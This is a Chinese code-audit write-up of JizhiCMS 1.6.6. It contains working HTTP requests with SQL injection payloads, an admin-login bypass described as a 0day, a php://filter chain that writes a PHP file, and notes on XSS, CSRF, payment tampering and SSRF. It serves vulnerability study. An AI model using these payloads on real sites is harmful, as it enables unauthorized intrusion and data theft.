0x00 基本信息
基本信息
简介
基于php开发的文件管理系统,审计版本1.6.6,选择这个版本,因为这个版本相对来说可能漏洞多一些,涵盖的比较广,仅记录前台的方法
文件hash
必选项
444b3ea09d65d04d9d2b1163d104473f
文件存储
必选项
https://pan.baidu.com/s/1C7eb-kfW80lANL17fiWJIA
cms指纹
可选项,后期必选
body="description\" content=\"极致CMS"
源码相关
从哪下载,可选项
cms名字
必选项,实际名字或者化名
关联平台
类似第三方支付平台
伪静态
1
| rewrite ^/[^admin](.*)html$ /index.php last;
|
0x01 基本流程
框架加载流程
定义了一些基本信息
调用流程如下
关键点就是这个route方法
获取到的路由是经过一次解码的,并且实例化的参数是完全可控的,这里并没有对$_GET、$_POST
等变量进行全局过滤
对应到的是调用controller控制器,那么这里的$this->_data
就是完全可控的,当然这里还有个语言包的问题,这样的一般或存在文件包含的问题,然后下面回显调用_init
方法,在进行请求的方法的调用
不过是只能限制php后缀,那就只有两种场景了
实际上可以看到,当调用请求的方法时
1
| call_user_func_array(array($dispatch, $actionName), $param);
|
接受方法中存在参数,就是说只要是public属性的方法都可以调用
变量过滤
除了使用原生的接收参数的方式之外,这里面还定义了一个frparam方法来接收参数
这里可以看到
当不传需要的参数时,会把所有的参数直接原样返回,传入参数时,就被限制了
所以对于注入来说,可以存在如下情况
- 原生的传参方式:
$_GET
等
- 整型的注入点:多出现在in语句里面
- 接收参数使用
$this->frparam()
至于xss,下面虽然也有过滤xss的方法,但是并未看到调用
sql处理
主要有如下方法
- getCount
- goInc
- update
- findAll(find)
- delete
- add
- findSql
基本都存在问题,以find方法来看,查询条件的key和value都存在问题,还有就是order问题
模板解析的问题
如下,后缀不可控,但是当assign参数完全可控的时候,最后写入的文件名就可通过变量覆盖控制,并且这里出现设置assign值的方法还有__set
魔术方法,也就是说当控制器中出现$this->$name
类似的时候,如果name参数可控,就会存在漏洞
0x02 代码审计
SQL注入问题
先列举一下
mypay/wechat_notify_pay->php://input
mypay/alipay_notify_pay->GET
wechat/responseMsg->php://input
user/_init->action
home/jizhi->SERVER
message/index->ip
user/release->$this->frparam()
static\common\user\uedit\php\controller.php
额外扩展
当然可能不止这些,只是一样举一个例子
SQL注入1
前两个都是需要验证sign值的,alipay现在不是用MD5验证了,所以看下wechat的
最终的验证如下
复现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| POST /index.php/mypay/wechat_notify_pay.html HTTP/1.1 Host: 192.168.198.152 Content-Length: 240 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://192.168.198.152 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.198.152/Login/index.html Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close
<xml> <return_code><![CDATA[SUCCESS]]></return_code> <result_code><![CDATA[SUCCESS]]></result_code> <sign>CD2AEDAE647870DA3199DF412084CEC1</sign> <out_trade_no><![CDATA[1'and updatexml(1,concat(0x7e,user()),1)#]]></out_trade_no> </xml>
|
固定的MD5字符串格式
1
| out_trade_no=1'and updatexml(1,concat(0x7e,user()),1)#&result_code=SUCCESS&return_code=SUCCESS&key=
|
SQL注入2
这个比较好的点是没有进行sign的验证,所以比较通用
复现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| POST /index.php/wechat/responseMsg.html HTTP/1.1 Host: 192.168.198.152 Content-Length: 269 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://192.168.198.152 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.198.152/Login/index.html Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close
<xml> <ToUserName><![CDATA[aaa]]></ToUserName> <FromUserName><![CDATA[1' and updatexml(1,concat(0x7e,(md5(123))),1)#]]></FromUserName> <MsgType><![CDATA[event]]></MsgType> <Event><![CDATA[subscribe]]></Event> <Content>aaa</Content> </xml>
|
SQL注入3
默认没开,比较废
这里主要就是之前说过的_init
方法在action之前调用,也就是action可以是任意值
这个就不复现了
SQL注入4
如下代码,参数取自REQUEST_URI
复现
1
| /index.php/'%20and%20updatexml(1,concat(0x7e,user()),1)%23
|
SQL注入5
代码如下,ip可从HTTP_CDN_SRC_IP
获取,最终进入add方法拼接
复现
1 2 3 4 5 6 7 8 9 10 11 12
| POST /index.php/message/index.html HTTP/1.1 Host: 192.168.198.152 Content-Length: 50 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 CDN-SRC-IP: 127.0.0.1' or updatexml(1,concat(0x7e,database(),0x7e),0) or ' Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close
tid=4&user=test&title=123&tel=13000000000&body=123
|
SQL注入6
需要登陆,其他还有需要前台登陆的,不一一看了
这属于变量覆盖的问题
不复现这个了
SQL注入7
static\common\user\uedit\php\controller.php
A\t\tpl\uedit\php\controller.php
但是其实,将内容当成了path
还是堆叠注入,不过不能直接报错还得结合文件上传的点
xss问题
存储xss
凡是涉及到$this->frparam()
和add或者update一起的,都存在xss的问题
有挺多的,举个后台的例子
在前台的发布文章处,对title进行了处理
但是在后台的编辑文章处并未进行处理
漏洞复现
登陆前台用户
然后在后台的内容列表里面再修改一次
逻辑问题
验证码问题
并没有次数限制
可以一直使用同一个验证码爆破
csrf
基本上所有的请求都可以通过get型来完成,所以这里的csrf危害还是很大的
越权问题
在user/buylist方法中可以查看所有的交易记录和充值记录
如下订单是13000000000用户下的
支付问题
这里只提一种
这里的积分参数

如下访问后会创建订单
然后我们去支付
会从我们的订单种取出来积分然后更新数据库
1 2 3
| POST /order/pay.html?go=1
orderno=No20220928162938&username=test&tel=13000000000&email=admin@qq.com&address=aaaa&paytype=4
|
其他的还有先不记了
伪造登陆
目前依然算是0day
存在一个frvercode方法,用来设置验证码的session
而在common中的vercode方法可以向session写入任意键值,虽然值并不可控,但是并不影响进一步利用
后台的鉴权方法如下
做一个测试
1 2 3 4 5 6
| <?php $a = array( "admin"=>"11234" ); var_dump($a['admin']['id']); ?>
|
可以看到,当一个字符串按照数组取值时,会将键值int强转,这里的id就相当于$a['admin'][0]
这样一来就有了可操作空间,只要爆破一个4位字符的MD5值为1开头的就可以直接访问后台
漏洞复现
其实很简单,第一个字符只有16种可能,跑两下就可以出一个1开头的
1 2 3 4 5 6 7 8 9
| GET /common/vercode/code_name/admin.html?0.3001939273552767 HTTP/1.1 Host: 192.168.198.152 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8 Referer: http://192.168.198.152/Login/index.html Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=bfie6p6fcu1ss674vtsfbeka73; Connection: close
|
然后直接访问后台就可以了,虽然有警告信息,和我们上面测试的时候看到的警告一个样
截断类的漏洞
之前提到过了一个文件包含的,需要00截断
还有就是display里面
这类就不测试,目测应该没有
文件写入
影响版本是2.3之前
前面说到了,可以调用带有传参的方法
找到如下方法,
可以看到的是文件前面有<?php die();?>
在1.5版本其实是不存在的
但是这里的content,直接调用的话并没有值
这个时候针对绕过这个die,无疑需要用的到伪协议
由于长度有限,最终获取到的payload如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| POST /home/end_cache.html HTTP/1.1 Host: 192.168.198.152 Content-Length: 4787 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://192.168.198.152 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.198.152/Login/index.html Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close
cache_file=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.GBK.UTF-8|convert.iconv.IEC_P27-1.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61|convert.iconv.ISO6937.EUC-JP-MS|convert.iconv.EUCKR.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CN.ISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UTF16|convert.iconv.L6.UTF-16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=./1
|
最终生成如下
这个适应服务器为linux
SSRF
同样的需要传参的还有一个方法
这个方法可以支持gopher协议,如果当成代理使用的话,可以传post数据和header中的数据,应该是比较完美的SSRF的点了,就是没有输出
0x03 end
…